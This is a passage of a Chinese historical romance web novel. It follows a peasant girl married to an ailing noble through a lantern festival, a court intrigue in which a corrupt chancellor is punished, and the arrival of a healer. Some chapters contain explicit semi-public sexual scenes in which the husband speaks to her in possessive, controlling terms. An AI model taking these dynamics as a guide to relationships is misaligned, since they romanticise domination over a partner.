她想起了自己丧命在水中的父母家人,他们的死何止刘县令一个罪魁祸首,陛下早就知晓樊州发了洪水,为了不让她怀有皇子的消息透露出去,他瞒住了她也瞒住了宫外的人。 人心确实太奇怪了,他们活着的时候薛贵妃恨他们,宁愿永不与他们相见。可是当父母真的死了,连尸首都找不到的时候,薛贵妃慢慢地竟然回忆起来曾经他们对自己的几分爱护。 “小桃,你为…他们立下的衣冠冢在何处?” 薛贵妃问起了父母的坟墓位置。 “水没有退下,大伯父和大伯母的一两件衣服被我葬在了山坡上,只有那里能站人。” 薛含桃小心翼翼地望向堂姐,说那时自己身无分文,并无立下墓碑,只摆放了几块不大的石头。 更大一些的石头,她搬不动。 “好,这便足够了,阿姐不怪你。” 薛贵妃顿时泪如雨下- 回到崔世子的身边,薛含桃的情绪不大好,即便她有了相当大的进步,成功和德昌帝告了状。 “堂姐的心里果然还惦记着大伯父和大伯母,就算他们曾经逼迫过她。”她耷拉着脑袋,很庆幸自己当时见到堂姐的第一面没有将大伯父大伯母对她做的事告诉堂姐。 闻言,崔伯翀淡淡道,“人之常情,亲情若是能轻易割舍,天底下也不会有那么多人痛苦。” 比如他自己和定国公崔羿父子两人。 曾经,他的父亲虽然明哲保身很快和他的外家划清了界限,但在那么多儿女中,他确实得到了父亲最多的宠爱,最多的看重。 “他亲自为我启蒙,为我延请名师,在我得中状元时,将整个东院给了我,库房中那幅九州定海图也是他千金买来送我的。” 可是,同样是他,在清楚意识到长子的大胜归来惹怒了宫中的皇帝后,毫不犹豫地做出了选择。 舍弃长子,保住整个家族。 “那后来定国公对世子做了什么,让世子和他分家?”薛含桃依偎在他的身边,小声问他。 桃林村但凡分了家的人一定生有矛盾,要么是父母偏心,要么是银钱和田地不均。 “我受伤的时候,他在我的药中下了一味毒。”听到她的话,崔世子挑了挑眉,轻描淡写地开口,仿佛这是一件微不足道的小事。 三年过去,的确不再重要了。 “他是世子的亲生父亲么!虎毒尚且不食子。”可是,突然听到真相的薛含桃反应十分激烈,腾地站起了身,眼中像是冒着火花。 她无法接受世子与定国公分家的原因是这个,一开始薛含桃怀疑的对象是曹夫人,却没料到就是定国公本人。 “以后,我会保护世子。” 薛含桃气愤过后便 是心疼,她认真地望着面前神情淡漠的男子,做出了承诺。 桃子现在能耐了,能告状,也可以使出仙术。从宫里回来后,她的底气充足,告诉崔世子她会保护他,她瘦小的身躯还可以爆发更大的力量。 结果,她的话音刚落,脸上便被扣上了黄金面具,崔伯翀笑着亲了亲她的脸颊,揽住她的腰,和她一起出了门。 天色将暗,点点的灯光慢慢地将都城装饰成繁华的星河。 起初,他没有将这句话放在心上。 第65章 第六十五章从前的崔伯翀活着回来了。…… 薛含桃依旧是进宫前的装扮,只发间的鸾凤金钗被崔世子摘下,插入了一支玛瑙流苏金步摇。 红色的玛瑙串珠垂下,刚好滴落在她的耳垂处,乍然望去,像是一颗朱砂痣。 镂空的金丝面具下是她依旧清澈的眼睛,以及更为红润鲜嫩的唇瓣。 “世子亲在我的面具上,会不会觉得奇怪?”薛含桃被他搂住腰,走在人潮涌动的街道上,光明正大地偷看他。 今日的崔世子一改之前散漫的做派,束高冠,穿玄氅,佩玉饰,风华凛然,气势赫赫。 薛含桃每偷看他一眼,心跳就更快一些,她的夫君是天底下最俊美的男子,烛光和月光双重映照下的他冷矜高贵,所有路过的人都不敌他,让她目眩神迷。 “少勾我,除非你现在就迫不及待地想与我偷情,被我捣碎成一滩果泥。”崔伯翀平静地看回去,眼神从容而自若,薄唇吐出的话却令薛含桃羞愤欲死,红了耳朵。 现在可是在灯光通明的街道上,路边小贩的叫卖声,前面两名男子的交谈声,旁边女子的说笑声等等都可以听见。 她别过头,不敢再看他,让他小声一些,可是又听到他命令的口吻,“唤我郎君。” 薛含桃低低嗯声,忍不住抬手将面具摁地更紧一些,只要不被看到,便不会有人发现她红的不正常的脸。 以及,听到他说将她捣碎时,她轰然迷醉的神色。 其实还是很期待的吧,他的坚硬,他的灼热,他的疯狂,会将一颗桃子弄出许多湿哒哒的汁水。 感觉到身体的些许异样,她轻轻地喘了口气,将注意力转移到别的地方。 “郎君,我们去猜灯谜吧。” 薛含桃看见有几个文人打扮的男子围住一个小摊,只随口说了句话,摊主就送给他一盏花灯,还是小兔子模样,她当即心动了,想让崔世子也过去。 顺着她的目光,崔伯翀看到了一盏桃花灯,粉粉的颜色,映着橘色的火光,晶莹剔透,美不胜收。 他搂着眼巴巴的女子来到了摊前,指着桃花灯问摊主怎么卖。 “郎君,您真是好眼光,这盏桃花灯可是我家的镇家之宝,一片片的玉石磨到和纸一般薄,一点点粘合成桃花的形状,别人出十两银子的高价,我父亲都不舍得卖。”摊主眉飞眼笑地说了一大通话,向围观的众人展示这盏颇费功夫的桃花灯,十两银子的价钱吸引了很多人。 不过,凑过来的人群可不只是为了看一盏灯,喜爱美色是人的天性,崔世子出色的容貌实在是一大利器,不少小娘子小妇人纷纷拿出一朵绢花意图砸在他的怀里。 薛含桃既是欢喜又觉酸意,拉着崔世子的衣袖,说十两银子太贵了,他们到别的摊位看看也罢。 “你喜欢,便是一千两也不贵。”崔伯翀淡淡道,随手掏出一小块碎金,递给摊主。 谁也想不到,看着贵气十足的他出手阔绰的同时,还会对身边的女子说出一句朴实的情话。 摊主接到真金,高心坏了,想要当场收下,然而方才猜过谜题的几人还未走,一脸不忿地说道明明猜中灯谜就可以带走一盏花灯,为何不把这盏桃花灯送给他们。 “满腹才学到底比不上几两铜臭!” “以文治国百年,我们饱读诗书,只为报效家国,却叫一介武夫欺了去。” “对,不公平。” 文武矛盾由来已久,文人瞧不起武人已有百年,这些人发现了崔世子用来束袖的铁革,猜出他是个习武之人,立刻膨胀起来。 仿佛只要他是武人,旁的,诸如风华绝代的容颜,挺拔优雅的身姿,还有更拿得出手的真金白银通通不作数了。 “……花灯是摊主的,摊主想给哪盏就给哪盏,并未坏规矩。才学吃不饱饭,还不能救人,金银和武功更重要。”听他们指桑骂槐,崔伯翀和摊主都未开口,薛含桃先生了气,凶巴巴地反驳他们。 “无知女子,哪里有你说话的份儿。”被骂到痛处的一人跳了脚,别看他表面光鲜亮丽,实际上兜里真没几个铜板。 嘴里说着铜臭,其实,他想要还没有。 “灯谜是什么?”崔伯翀安抚地牵住气愤的桃子,冷冷瞥了一眼跳脚的男子后,转头问起摊主桃花灯的灯谜。 “郎君,实在不是我诓骗客人,偏这灯谜一天了也无人答出来,所以索性不再提,只将桃花灯十两银子卖掉。”摊主有些不情愿,比起灯谜那还是十两银子更合心意。 他不禁埋怨这几个穷酸的读书人,嫉妒人就直说,却来搅和他的生意,早知道那盏兔子灯也不给出去。 “放心,这粒金子仍是你的。” 崔伯翀静静看他,摊主犹豫了片刻,说出一个灯谜。 “刘邦闻之则喜,刘备闻之则悲。” 听到这里,围观的人包括那几个读书人都纷纷思索起来,这是个什么字,倒叫两位汉帝又悲又喜。 薛含桃也在认真地想,然后她感觉自己的手心被一下一下地滑过,不快不慢,让她知道了一个字。 “我夫人自幼便有咏絮之才,这答案她已得了。” “是,我知道谜面!” 摊主不敢置信地看向这个带着黄金面具的女子,“夫人可说。” “是一个翠字!”薛含桃扬起下巴,兴奋又自信地说出了答案,她相信世子不会有错。 “夫人答对了。”摊主松了口气,急忙将那盏桃花灯递给她,又和周围的人解释的确是这个字。 “是啊,上羽下卒,刘邦知道厌恶的项羽死了肯定欢喜,而刘备若知结拜兄弟关老爷去世定然悲伤。” “没错,倒是巧妙。” “夫人聪慧,果真不凡。” 薛含桃喜滋滋地接受了周围人的夸奖,提着桃花灯踮着脚尖让崔世子看,“我们的。” “嗯,走吧。”崔伯翀重新搂住她的腰肢,朝方才那几人瞥下轻蔑的一眼后,迈步离开。 对着那些人他什么都没说,可一切尽在不言中。 说薛含桃是无知女子,那连无知女子都比不过的他们又是什么蠢东西。 果然,那几个读书人的耳边响起了嘲笑声,他们脸色涨地紫红,掩面而去,连兔子灯也丢给了摊主。 不远处,有一双眼睛将这一幕完全收到眼底,不甘又痛恨地掐紧了手心。 “终究是一个死人罢了,后悔也来不及,但等来日。” …… “来年,我还要和郎君一起猜灯谜。”从人流密集的地方走到灯光黯淡的小巷,薛含桃提着桃花灯,望向身边男人的眼神也如桃花落下的时刻,春意盎然。 好喜欢世子,喜欢他对自己说情话,喜欢他为自己买花灯,更喜欢他让自己“猜”出灯谜打那些人的脸。 “又勾我,原来你已经等不及了。”崔伯翀微微抬起眼皮,摸了摸她未被面具遮住的眼尾,眸色极深极重,藏着可怕的欲念。 勾引人的桃子注定要被吞吃入腹。 他解下身上的大氅将她完全包住,抱着她往更暗处走去,还让她不能出声。 可是修长的手指探进去,带给薛含桃的感觉,令她咬住嘴唇不出声也变成了一件难事。 她的脸无助地埋在玄色的大氅里面,身体颠簸不停,可因为太过紧张又 死死绷紧。 他说他们在偷情私会,他还说她若是发出声音会被人发现。 “到时候,你我二人便会身败名裂,唯一的出路只有殉情,躺在同一个棺材里面腐烂化骨。” 男人低哑的嗓音含着轻笑,涌入她的耳廓,薛含桃默默想要反驳,结果隔着一棵树,似乎真的走来了一人。 她慌忙抓紧他,整个人绷成了一道弓弦。 重重地一声喟叹,崔伯翀满意地阖起眼眸,附在她耳边说桃子的汁水将他的手掌全都打湿了,“滋味想必不错。” 薛含桃从头臊到了脚,她听懂了他的意思,咬着唇瓣不吭声。 然而下一刻,她就忍不住想要尖叫,被高高的举起来,被强势的,大口的吞咽品尝,脑子变成浆糊的时候她想到了自己摸过的鼻梁。 很挺,很直,很高。 就像他拥有的,很沉,很重,很凶,势无可挡,非要攻城略地到最深的,狭窄的地方,逼的她彻底缴械投降。 ……经历过短暂的断弦后,薛含桃被温暖的大氅抱着到了都城最高的一处阁楼里面。 雕花木窗开着,外面是万家灯火,和一条璀璨的星河。 明明吹进来的风是冷的,凉的,可薛含桃被烫的满面酡红,她终于敢小声地呜咽,哭泣,让他轻一些,再轻一些。 崔伯翀眯起纯黑的眼眸,一边毫无留情地对待软趴趴的桃子,一边轻轻抬高她的下颌扼紧,让她看向远处。 “底下是什么?”他问。 “是,是很多人的家,亮着烛光,很幸福。”薛含桃受不了地去打他的手,眼睫毛上挂着泪珠,不能……不能将桃子弄坏。 “是啊,把桃子弄坏就没家了,那是我们的家。”身后的男人笑着附和她,抓着她的下颌又让她看向一处。 蓦然间,薛含桃的眼睛睁大,体内有什么东西绽开的同时,定国公府的方向,空中,一朵绚丽的烟花绽开。 “好美。”她含糊张开嘴唇。 “开心么,有了你,我活了过来,会重新爱这个世间,守护你和这片河山。” 她失神地望着空中不停盛开的烟花,崔伯翀定定地望着她,享受充斥在血肉和灵魂里面的快意。 然后哑声告诉她,以前的崔伯翀活着回来了。 他爱她,爱她所在的这片家园。 第66章 第六十六章“下次还会爱我吗?”…… 深夜,薛含桃不甚清明的眼中仍映着烟花绽放时的美丽,她伏在男人的肩膀上,从阁楼上被抱下来。 玄色的氅衣被毁了个乱七八糟,到处是靡艳的气息,好在还可以将她整个人护住,暖乎乎的,一点不觉得冷。 崔伯翀一只手臂抱着她,另一只手提着盏桃花灯,安静地走在已经无人的街道上。 月光下的影子重合在一起,仿佛整个世界只剩下他们两人。 薛含桃探着脑袋看底下难舍难分的影子,看入了迷,她在青石县的时候有做过一个梦。 “郎君从前不在我的世界里,哪怕是晚上做梦的时候,你是耀眼的神明,花团簇拥,我只配躲在阴影里面,偷偷地仰望你。” 从来没有想过,他会对她说出一个“爱”字。 从青石县追着离开的路上,她更是连偷偷仰望都不敢,低头背着装有大黑狗和陶罐的背篓,只希望能离他近一些。他们在同一座城池里面,呼吸着同样的空气,也许有一天,她可以借着报恩的机会与他有一点点联系。 初到京城,刚找到堂姐安顿下来,她悄悄打听到定国公府的所在,数着步子,像是见不得人的小老鼠,溜到府门口。 一个灰不溜秋的她踌躇,犹豫,傻站了一会儿,最终无声无息地离开。 “那几日的天气炎热,我出了很多汗,觉得自己要被烫化了。可是,走到门口,那时守门的罗护卫好凶啊,他用刀鞘赶人,我便全身发冷,汗水也被吓跑了。” 薛含桃拼命地睁着眼睛,要把影子的形状记住。 “按照路程,罗承武明后两日便会和孙医圣一起回到府里,他既然吓到了你,那便罚他继续守大门。”闻言,崔伯翀压低眉峰,对跟随了他多年的亲信表示了不满。 “不能怪罗护卫,他人很好,是我太胆小。” 听到他要罚罗承武,薛含桃急促地仰起脑袋,虽然很快又无力倒下去但她看到了他唇角似有若无的笑意,微微放心。 “我背着茶水和鱼丸进门的那次,罗护卫不仅帮我拎了背篓,还用刀鞘赶跑了刘县令和他的女儿,我当时就不怎么怕他了。” “还是要罚,我将护卫府门的职责交给他,结果有个小姑娘每日偷溜过去,他知而不报,这不是失职是什么?” 崔伯翀掀了掀眼皮,语气淡淡,若是罗承武早些把桃子的踪迹禀报给自己,他便能多几日把桃子抓在手心。 一想到瘦小的她徒步走一个时辰,满头大汗的躲起来,偷偷摸摸地张望,只为了能见他一面,他的身体忍不住躁动起来。 那个时候,他冠冕堂皇地将人抓住,她根本没有反抗的机会。 想必也不敢反抗,若是欺负她,她眼泪汪汪地摇头,哭上半晌也不可能说出合理清晰的解释。 男人的脚步微顿,明明知道现在的她是一副妩媚动人的模样,非要掀开大氅的一角,再次确认,将她脸上的每一寸都看过,摸过。 然后,他偏偏还要问,她有没有看清自己,还需不需要仰望。 如果她喜欢,接下来,他会用各种方式满足她,将她彻底填满。 “郎君是故意的。”黄金面具早就被摘下来,月光下,她露出一整张迷离的小脸,微微抿着唇,有股呆滞的傻气。 “知道就别再勾我,不然,有一次做一次。”崔伯翀眸眼沉沉,云淡风轻的语气硬是让人听出一股狠劲儿,“做到,你眼里心里只有我一个人。” 左一个亲如兄长的方大哥,右一个罗护卫是好人,还一个言笑晏晏的稽夫子。只他,不能光明正大,非要委委屈屈地仰望。 薛含桃看清他眼中的暗流,张了张唇瓣,赶紧用大氅将自己的脸盖住,她一点力气都没有了,怕是要躺两日才能好。 人终于老实,崔伯翀平静地打了个手势,朝着缓缓驶来的马车走去。 “下次…做的时候,郎君还会说爱我吗?”这时,温暖的氅衣下,传来她怯生生的声音。 如果每次都能听到他说爱自己,薛含桃愿意抛弃羞耻主动去勾他。 “等着,下次我让你连说话都成为奢望。” “……嗯。” 她闷着声音,大胆地应下了。 因为薛含桃知道明日崔世子要上朝,元宵节是都城大人们假期的最后一天,方振和她说过- 次日,崔世子早早去上朝。 薛含桃睡到自然醒,先懒洋洋地和大黑狗打了个招呼,接着炫耀一般给它看自己的桃花灯。 大黑狗对这灯不感兴趣,瞥了一眼又趴下,只它的尾巴对着桃花灯扫去。 “阿凶,坏狗!” 薛含桃连忙阻止它,将桃花灯悬挂在了最常看去的窗边,窗台上,紫昙已经被孙大夫抱走,但她想了想,又找出了一个土色的陶碗。 模样大黑狗很熟悉,它站起来围着陶碗转了几圈,深棕色的眼睛透出几分疑惑。 主人将它从前的饭碗找出来做什么,难道是想让它继续用? 可是阿凶很喜欢现在的饭碗,虽然和主人一起都是从乡下来的,但大黑狗识货,知道又宽又深底座还高的饭碗用起来更便利。 从前的陶碗终究小了点浅了点丑了点…… 它用爪子扒拉陶碗,往主人的方向推了推,意思是它就要现在的这个。 “阿凶,你真是变坏了,还变得喜新厌旧!”薛含桃眼疾手快地拿起陶碗,对着大黑狗嘟囔了一声。 “娘子,您拿阿凶的陶碗作何用处?”果儿和几个侍女端来膳食,看到这一幕,也不明白她为何特地找出大黑狗的陶碗,府里各式各样的碗多的是,陶的瓷的玉的,应有尽有。 “那些太珍贵,反而不合适。阿凶的陶碗烧的时间短,更…接近泥土。”薛含桃不知如何同果儿解释,只要是种子,无论是花草还是果木,天生亲近自然。 珍贵之物,经过了人类一遍遍的雕琢,往往离自然很远。 果儿确实不明白,不过当她看到自家娘子拿出了一颗表面沟沟渠渠的桃核,瞬间了然,娘子准备种植桃核。 但是,一只陶碗,这般浅小,恐怕容纳不下长出的桃树吧? 果儿犹豫的时候,只见桃核被放在桌上,娘子拿着不知从何处找来的一小块石头,猛地冲着桃核砸了下去。 轻微的一声“咔嚓”,桃核被砸开了一角,果儿眼神一僵,有些摸不着头脑。 “娘子,您不是说向世子承诺过种下一棵桃树……” 这怎么把桃核直接砸碎了? “嗯,砸开它,浸泡在温水中,它才能快一些发芽。”薛含桃面不改色地在陶碗中倒入被日光晒过的温水,小心翼翼捡起桃核放在里面。 她望着咕噜冒出来的一个水泡,眉眼弯弯,世子说半个月后桃核就会发芽,她只等着,一点都不着急。 “果儿姐姐,你看,它这样像不像在呼吸?” 果儿愣了一下,抬头看到少女神采飞扬的模样,跟着笑了起来。 傻了不成?这不过是娘子和世子之间的夫妻情趣,难道桃核发不了芽,世子还会责怪娘子? 果儿正想开口打趣自己一句,这时,门外有一人走进来。 她看去,人是方振。 “小桃,孙医圣已经到了城外,你要不要和我一起去迎接他老人家。”方振笑容满面,看起来比崔世子昏迷的那段时间年轻了一些。 即便他真实年龄也只二十有五。 “真的?要去,我和方大哥一起!”薛含桃一听,匆匆忙忙就要出门。 果儿反应快,道她未用早膳,给她装了几块面点。 而方才还意兴阑珊的大黑狗更快地咬住了她的裙摆。 “谢谢果儿姐姐,阿凶,我们一起。” 薛含桃往嘴巴里面塞了一块面点,高高兴兴和大黑狗一起出了门。 她一直相信,黑狗有灵。这么重要的时刻,怎么可以少了她的阿凶? 第67章 第六十七章“我一定看好世子!”…… 文德殿中,新年过后的第一个大朝会,不出意外发生了好几件大事。 其一,有官员上折弹劾宰相蔡存结党营私铲除异己,列举出来的一桩桩一件件触目惊心,稽韶的遭遇甚至都不值当提起。 朝中诸臣本以为这次弹劾会无疾而终,毕竟已经不是第一次,以前比这次严重的弹劾多了去了,有物证有人证,结果还不是被陛下高高拿起轻轻放下。谁让蔡存最会揣摩陛下的心思,是以多年来屹立不倒。 然而,接下来的发展很快惊呆众人,德昌帝竟然动了怒,当即下令杖责蔡存二十,虽未对其进行别的处罚,但他命刑部和大理寺一同查明虚实,摆明了对蔡党清算的意思。 就在人人猜测陛下因何厌弃蔡存的时候,德昌帝降下了一道新的旨意,这便是其二。 圣旨直接颁发,立不满一岁的皇子赵安为皇太子,责礼部督办承储大典。 其三,加封同平章事冯旦为太子太师,参知政事张维为太子太傅,枢密副使崔伯翀为太子少师。 一抑一扬令人不禁怀疑蔡存是否在立储一事上惹怒了陛下。 事实上,连蔡存也这么觉得,柔仪殿的那几句谈话压根没有传到他的耳中。可即便被人知晓,想必也没有人会相信一个微不足道的农女可以撬动蔡存稳固了多年的地位,只是凭借一个疑惑,一声害怕。 而没有谁比蔡存更清楚德昌帝多在意自己的血脉传承,偏他确实不想陛下早早将皇子立下为太子。 缘由也很简单明了,他与崔伯翀不对付,当年最先在德昌帝面前暗示崔世子功高盖主不得不防的人就是他。 这几年崔伯翀表现出来的行为不像知道真相只觉得金人作祟,可万一呢,就算他只剩下一个月的寿命,蔡存也觉得脖子发凉。 再者小皇子的姨母嫁给了崔伯翀,小皇子若成为太子乃至皇帝,焉有不向着自家人的道理? 可蔡存没想到德昌帝盼皇子盼了十几年,立太子的心有多么急切。 他违心拖延成为祸根,老实姑娘的一句话成为导火索,再加上崔世子暗中授意的弹劾,他被德昌帝厌弃完全在情理之中。 朝会散去,蔡存被毫无体面地抬回了自己的府中,多年来被他压制的朝臣可谓是出了一口恶气,纷纷向冯旦和崔伯翀等人道喜。 尤其是崔世子,年纪轻轻就得到了千百万人梦寐以求的一切,这殿上封侯拜相的哪个人不比他年长十几二十几岁,须发皆白。 而他,风华正茂,无法不令人嫉妒啊。 但这仅限于不明内情的人,诸如冯旦和狄恒等知晓他重伤难愈命不久矣,非但不嫉妒,反而深为惋惜。 注定英年早逝,原因又讳莫如深,怎能不叹一声悲凉。 “蔡存这等小人总算遭了殃,这些年朝堂被他弄的乌烟瘴气,前不久还攀扯布防图泄露,那二十廷杖着实痛快。”狄恒声如洪钟,里面的笑意挡都挡不住。 他与崔伯翀一起走在回枢密院的宫道上,又说韩璞等人已经调回边军之中。 听到韩璞的名字,崔伯翀面色淡淡,明显不欲多谈。 狄恒察觉怪异,有心问韩璞是否得罪了他,年前那段时间,韩璞和晋王府走的太近的确有些犯忌讳。 这时,他们的身后传来了一阵密集如鼓点的脚步声。 “狄公,崔世子,请留步。” 狄恒回头看去,叫住他们的人是德昌帝身边的内侍何焕,虽职位比内务省的石宪一和梁成低一些,但论圣宠丝毫不逊于他们二人。 内务省都知石宪一和蔡存的关系向来不错,两人时常勾结在一起狼狈为奸,这次蔡存被罚,何焕叫住他们莫非与石宪一有关? 小鬼比阎王难缠,这些在宫里的内侍因为伴在皇帝的身边,往往不能小瞧。 “何内侍,尔有何事,可是陛下有旨?”狄恒脑海中有了思量,看何焕的目光不由带上了审慎,不怒自威。 “狄公,非是陛下命我前来,是我自己有一物想给崔世子。”何焕朝狄恒弯腰行礼,转而将手中提着的一方红盒打开。 崔伯翀早在他说话的时候就看了过来,扫视红盒当中摆放整齐的冻柿和金橘,眯起黑眸。 寂静无声中,何焕顶着锐利的注目深深向他作揖,笑道这是他的一点心意。 孝敬给世子夫人,薛家娘子。 闻言,崔伯翀的眸中隐有刀锋,冷冷道,“内人不缺这些东西。” “夫人自是不缺,可我与夫人投缘,便想真心孝敬给夫人一些吃食。”何焕再度开口。 “她如今不止是我的夫人。”崔伯翀漫不经心地问他,是孝敬崔世子的夫人还是太子的姨母薛娘子。 “这……世子若问,那便是给薛娘子的。”何焕神色略变,敏锐地发现了这两者的区别。 若说崔世子的夫人那先敬的便是崔世子,但太子的姨母薛娘子便只是薛娘子。 这两者指的虽是同一人,可主次却有不同,靠夫婿自然比不得靠自己。 而何焕惊讶的点在于,这话竟然是从崔世子的口中说出来的。 “既然你孝敬心意的人是薛娘子,回府后我会转交给她。”崔伯翀平静地嗯了一声,接过红色的食盒,合了起来。 “狄公,崔世子,慢走。” 何焕望着人远去,思绪不停,怕是将来都城又会多一个不得了的存在,一名曾经普通的不为人注意的女子。 真是令人羡慕啊,自身运道好,更有人不动声色地为她铺 路。 狄恒看着崔世子手中的红色食盒,也在感慨,“啧,陛下身边的内侍居然给小桃送礼,不得不说宫里的人风向转的最快,太子一立,这就开始巴结人了。” “狄公说的对,这不过只是个开始。怕是有朝一日我出门,也成了薛娘子的夫君。”崔伯翀的声音低低的,含着笑意。 “哈哈哈,那倒是。” 狄恒大笑起来,可笑过之后心头随之浮上忧愁,伯翀所剩寿命不多,说不定最后在别人的口中只是小桃的前任夫君。 他并未说出口,不过眼神流露出的意思,崔伯翀看的明明白白。 “狄公不必担忧我的身体,有孙医圣在,我兴许还能多撑几年。” “孙医圣啊,但愿。”- “小桃,这便是孙医圣了。” 城外,柳亭旁,方振驾着马车停下来的时候,与他们同行的孙大夫已经迫不及待地朝着一位白发苍苍的老者行了跪拜之礼。 方振的话音落下,薛含桃也赶紧抱着大黑狗下车,急匆匆地跑过去,跪在孙大夫的后面。 模样很是恭敬,虔诚。 “这是?莫非你离家的这些年给老夫弄出了一个孙女出来?”孙医圣指着跪在前面的儿子,眼睛都要瞪出来了,亏他还为儿子的终身大事操心。 看这小姑娘年纪不大,被人当他的孙女一点不突兀。 “爹,您误会了。”孙大夫被他爹劈头盖脸骂了一顿,急忙解释他痴迷医术一直都未成婚,也没有出去乱搞。 “那她是谁,跪我做什么?”孙医圣不怎么相信他的儿子,指着双手合十像是在拜他的小姑娘,胡子一翘一翘的。 “医圣大人,我是世子的妻子小桃,求您保护世子无病无灾。”一颗桃子低眉顺眼地跪在地上,把孙医圣当作了在世的神明,真诚地祈求。 被大伯父大伯母关在柴房没吃没喝的日子,她渴望着期待着有人来救她,最后没有人只有一只大黑狗,她便放弃了求人。 洪水冲垮柴房,她和阿凶一人一狗缩在木盆里面,随着水流漂泊,生还的希望寥寥无几时,她将所有寄托在了求神上。 索性最后没有令她失望,崔世子成为了她祈求的神明。 而曾经在青石县的每日,她也会这般对着方相氏的面具拜求。 假如神明是真的呢?假如能够应验呢?她拥有的太少了,所以从不曾放弃求神这等虚幻的寄托。 此时,薛含桃仰着脑袋望向面目慈祥的老者,眼中含着浓浓的敬意。 她相信可以给人续命的孙医圣一定是神明,没错了。 “你这小姑娘,恁地傻气,你种出来了紫昙,要说救崔世子,那也是你自己救的。”孙医圣知晓她的身份,抖了抖胡须,急着问她到底如何让紫昙发芽开花。 “种子埋在陶罐里面,每日浇水施肥。”薛含桃一五一十地和他讲解自己让紫昙开花的步骤,末了看了一眼蹲在身边的大黑狗,说也有阿凶的功劳。 “阿凶知道哪里的土最肥沃,它帮我挖了一些。我们还捡了快要腐烂的叶子,臭掉的小鱼小虾,参杂在一起,放进陶罐里面。后来进了都城,鸡骨头鱼骨头都用火烧过一遍,磨碎了当作肥料,它就发芽了。” “叶肥,肉肥,对,种子肯定喜欢。”孙医圣津津有味地听着,时不时问她一个问题,知道她生长在乡间,当即茅塞顿开。 只有和土地生活在一起的人,才真正明白植物需要什么,幸而她是个农女,否则崔世子根本不可能等到这个奇迹。 “小桃,名字起的也好,桃木逢春万物始发。合该你与崔世子有缘,若是金的玉的,倒是不合适。” 闻言,薛含桃害羞地笑了笑,这还是第一个说她与世子般配的人。 “谢谢您,医圣大人,有了紫昙,您便能治好世子的身体了吧。” 她的眼睛满是期待,诚恳地令人不忍说出拒绝的话。 孙医圣正了神色,与她耐心解释他的医术虽然高明但没有到起死回生的地步。 “紫昙可以为他祛除身体中残留的毒素,可这是开始,祛除毒素后我要用金针日日为他放血,激发他身体的活性。起码半年之内,他必须严格遵照我的医嘱来,静心修养,不可再伤到一分。” “否则,中道崩殂,前功尽弃。” “嗯,我会盯着世子,让他老实听话!”薛含桃将每一句话都牢牢记下来,模样郑重。 第68章 第六十八章“不听话就恩断义绝。”…… 都城这天的阳光似乎比前几天还要明媚,照在人的身上有一分暖意,像是预示着春天就要来了。 薛含桃坐在马车里面,忍不住探出手去接洒下来的日光,默默地道让春日来的更早一些吧。 孙医圣说桃木逢春是个好兆头。 大黑狗对主人的行为颇感兴趣,顺着车窗也露出一个黑黝黝的鼻子,只是它眯眼嗅了嗅空气,咬着薛含桃的衣袖让她将手收回来。 “阿凶,天气暖和,又该给你洗澡了,不过这些天你没怎么掉毛。”她不敢打扰舟车劳顿的孙医圣,与阿凶贴着车窗的位置窃窃私语。 大黑狗仍是咬着她的衣袖,似是对外头的日光不大喜欢。 这一异常的举动吸引了孙医圣的注意力,他捋了捋颌下的白须,问自己的儿子自入冬后都城下了几场雪。 “只年前下了两场雪,到今日两个多月再无一场雪。”孙大夫不喜欢下雪,每次下雪便是他为崔世子重新配药的时候。 说着,他神色间有些许庆幸,今年比往年好多了,竟只下了两场雪,剩下的日子全是晴天。 “儋州也是如此,只下了两场雪。下雪多了不妙,太少终也不是幸事。”孙医圣却不然,他活的时日长久,见多识广,此时指着大黑狗道,“没有雨雪,天气干燥,你看它便不喜欢。” 提到了阿凶,薛含桃突然醒悟,发大水之前的那几日,大黑狗也不喜欢太潮闷的天气。 “医圣大人是想说,不久后会有旱灾吗?”她低声将自己的猜想说出来,微有忧虑。 自古天灾和战乱都是平民百姓最害怕见到的,薛含桃半年前才经历过一场毁天灭地的洪水,心头的阴影犹在。 她说到旱灾两个字的时候,身体不由瑟缩。 孙医圣惊讶于小姑娘的敏锐,而当旁边的儿子告诉他,薛含桃是从樊州逃难到京城后,他的目光异常温和。 “莫怕莫怕,未必是旱灾,都城这里离水不远,纵然有了旱情,从河中引水不是难事。” 孙医圣开口时,语调舒缓娓娓道来,三言两语便打消了薛含桃的忧虑,见小姑娘放心地和一个黑脸的罗护卫要了一些白水让大黑狗舔舐,他微不可闻地叹了一口气。 旱灾未必,但别的就说不定了- 孙医圣的到来很低调,他们一行人遵照普通百姓的队列进城,薛含桃又一次看到了那个曾经检查过她的官兵。 不过,这一次她大大方方地与他对视,那人却倏然一惊,显得有些慌张。 一定是因为自己现在的穿戴比之前更名贵了。 薛含桃摸了摸头上的花树状步摇,对一个个叶形金片印象深刻,世子用一粒差不多大小的金子直接买下了那盏玉做的桃花灯,而这些加起来能买上百盏花灯。 她犹豫了一下,还是没有将步摇摘下来。 只要忽略了它的存在,感觉一切仍没有变化。 就比如,她在定国公府的门口看到同样走下马车的崔世子,提着裙摆奔跑的速度一点没有减慢。 纯金的叶片互相撞击在一起,玲玲作响,清越悠长,听起来仿佛一首乐曲。 崔伯翀一只手提着红色的食盒,另一只手在她跑过来的时候,指腹轻轻捻住飘动的步摇。 叶片摇晃,他的眸光微闪。 如今的桃子越来越诱人而不自知,只是稍稍打扮, 鲜活而妩媚的气息洋溢,将本来俗气的金饰也变得灵动起来。 不过,她望着他说话的神态还是少不了一些落不到实处的彷徨。 崔伯翀知道,纠过来这一点只需要时间。而现在,他的时间充足。 “世子,你下朝了,快看,我和方大哥一起到城外接回了孙医圣和罗护卫!”薛含桃的脸颊红扑扑,为自己完成了一件十分重要的任务而开心。 怎么能不开心呢?世子的身体被治好,和寻常人无异,她就不会失去他,可以和他度过一个又一个的元宵节。 感受到她纯粹的喜悦,崔伯翀的唇角也慢慢勾了起来,淡声道这是大功一件,接下来他会重重地奖励她。 “奖励我不要,只要世子你听话,遵照医圣大人的医嘱!” 薛含桃的神色开始变化,她在孙医圣的面前放下了豪言壮语,可现在才发现世子未必听她的话。 “你必须要听话,否则我以后就不和你好了,恩断义绝!” 她紧张兮兮地握紧手心,佯装凶狠的模样,命令他赶紧答应自己的威胁。谨遵医嘱,听孙医圣的话。 然而,男人只是轻飘飘地抬眼,捏了捏她鼓鼓的脸颊,“白日不准说梦话,不和我好,还会和谁。” 恩断义绝四个字也如此刺耳,若非现在他们身在府门处,他绝对会将桃子的表皮扒开,加深她的印记。 